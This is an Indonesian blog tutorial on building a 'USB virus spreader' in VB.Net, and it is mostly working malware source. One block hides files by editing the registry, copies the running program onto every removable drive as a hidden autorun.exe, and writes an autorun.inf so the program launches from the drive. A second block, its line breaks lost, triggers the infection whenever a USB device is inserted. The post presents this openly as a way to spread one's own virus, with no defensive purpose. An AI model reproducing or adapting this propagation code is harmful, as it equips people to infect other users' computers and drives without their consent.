Membuat USB Virus Spreader Menggunakan VB.Net
Pada sesi kali ini penulis akan berbagi bagaimana cara membuat sebuah Virus Spreader dimana dengan virus spreader ini kita bisa menyebarkan virus buatan kita agar menyebar lewat USB. Virus Spreader yang akan kita buat menggunakan bahasa pemograman Visual Basic.Net
Selanjutnya anda harus membuat sebuah class dengan nama usb.vb dan masukan kode modul dibawah ini :
Imports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32
Module USB
Sub USBInfect()
On Error Resume Next
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)
Dim DriveList As String() = Environment.GetLogicalDrives()
For i As Integer = 0 To DriveList.Length - 1
Dim di As New DriveInfo(DriveList(i))
If di.DriveType = DriveType.Removable Then
If Not di.IsReady = False Then
If Not File.Exists(DriveList(i) & "autorun.exe") Then
File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
End If
End If
End If
Next
End Sub
End Module
Kemudian untuk menggunakanya silahkan gunakan code dibawah ini :
#Region "USB DETECT"Protected Overloads Overrides Sub WndProc(ByRef m As Message)Select Case m.MsgCase Win32.WM_DEVICECHANGEOnDeviceChange(m)Exit SelectEnd SelectMyBase.WndProc(m)End SubPrivate Sub OnDeviceChange(ByRef msg As Message)Dim wParam As Integer = CInt(msg.WParam)If wParam = Win32.DBT_DEVICEARRIVAL ThenMsgbox("USB SPREADING!") ' Might want to remove this, lmaoUSBInfect()ElseIf wParam = Win32.DBT_DEVICEREMOVECOMPLETE Thenmsbgox("USB REMOVED!") ' And this!End IfEnd SubPrivate Sub RegisterHidNotification()Dim dbi As New Win32.DEV_BROADCAST_DEVICEINTERFACE()Dim size As Integer = Marshal.SizeOf(dbi)dbi.dbcc_size = sizedbi.dbcc_devicetype = Win32.DBT_DEVTYP_DEVICEINTERFACEdbi.dbcc_reserved = 0dbi.dbcc_classguid = Win32.GUID_DEVINTERFACE_HIDdbi.dbcc_name = 0Dim buffer As IntPtr = Marshal.AllocHGlobal(size)Marshal.StructureToPtr(dbi, buffer, True)Dim r As IntPtr = Win32.RegisterDeviceNotification(Handle, buffer, Win32.DEVICE_NOTIFY_WINDOW_HANDLE)If r = IntPtr.Zero ThenEnd IfEnd SubClass Win32Public Const WM_DEVICECHANGE As Integer = &H219Public Const DBT_DEVICEARRIVAL As Integer = &H8000, DBT_DEVICEREMOVECOMPLETE As Integer = &H8004Public Const DEVICE_NOTIFY_WINDOW_HANDLE As Integer = 0, DEVICE_NOTIFY_SERVICE_HANDLE As Integer = 1Public Const DBT_DEVTYP_DEVICEINTERFACE As Integer = 5Public Shared GUID_DEVINTERFACE_HID As New Guid("4D1E55B2-F16F-11CF-88CB-001111000030")_Public Class DEV_BROADCAST_DEVICEINTERFACEPublic dbcc_size As IntegerPublic dbcc_devicetype As IntegerPublic dbcc_reserved As IntegerPublic dbcc_classguid As GuidPublic dbcc_name As ShortEnd Class_Public Shared Function RegisterDeviceNotification(ByVal hRecipient As IntPtr, ByVal NotificationFilter As IntPtr, ByVal Flags As Int32) As IntPtrEnd Function_Public Shared Function GetLastError() As IntegerEnd FunctionEnd Class#End Region
Dan autorun.exe adalah nama virus yang akan anda sebarkan.
Sumber: http://synra.blogspot.com/2012/07/membuat-usb-virus-spreader-menggunakan.html

Tidak ada komentar:
Posting Komentar